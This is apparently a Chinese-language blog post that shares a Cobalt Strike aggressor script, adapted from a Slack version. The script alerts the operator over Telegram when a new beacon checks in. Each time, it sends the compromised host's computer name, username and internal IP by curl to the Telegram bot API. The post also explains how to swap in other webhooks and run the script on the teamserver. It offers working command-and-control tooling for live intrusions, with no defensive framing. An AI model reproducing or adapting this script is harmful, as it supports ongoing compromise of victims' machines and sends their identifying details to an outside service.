0x01 前言
Cobalt Strike应该是大家耳熟能详的工具了,它支持在客户端添加自定义的cna脚本来扩展功能。
beacon上线后,我们通常想第一时间得知,以前见过msf上线后,tg通知的脚本,于是想找个cs的。
我在github找到了slack的通知脚本slack-notify-beacon.cna,虽然也找到了一个telegram通知的,但是写的太麻烦,还要调用Python,于是自己改写了一个telegram-bot通知的。
0x02 脚本
telegram-notify-beacon.cna
$bot_token = "xxxxxxx";
$chat_id = 'xxxxxxx';
$teamserver_hostname = 'HOSTNAME-1';
$tg_bot_webhookURL = 'https://api.telegram.org/bot'.$bot_token.'/sendMessage';
$test_message = 'this is a test message, test success';
@curl_command = @('curl', '-X', 'POST', '--data-urlencode', 'chat_id='.$chat_id, '--data-urlencode', 'text='.$test_message, $tg_bot_webhookURL);
exec(@curl_command);
on beacon_initial {
println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
local('$internalIP $computerName $userName');
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$message = 'Message from '.$teamserver_hostname.' Server%0aBeacon success implant Info Target:%0aComputer name : '.$computerName.'%0aUsername : '.$userName.'%0aIpaddres : '.$internalIP;
@curl_command = @('curl', '-X', 'POST', '--data-urlencode', 'chat_id='.$chat_id, '--data', 'text='.$message, $tg_bot_webhookURL);
exec(@curl_command);
}
需要客户端/服务端支持curl、能够访问tg的api地址(国内访问不到)
原理很简单,beacon_initial 后通过调用os的curl请求webhook,bot的申请教程可以百度,同理可以很简单的改写其他webhook,如:钉钉、Server酱等
telegram的bot申请地址:https://telegram.me/botfather
推荐阅读:
https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=373276
效果图:
0x03 在teamserver上运行cna脚本
把cna脚本添加到本地客户端后,如果beacon上线了,这个webhook的通知请求 是从客户端发出的。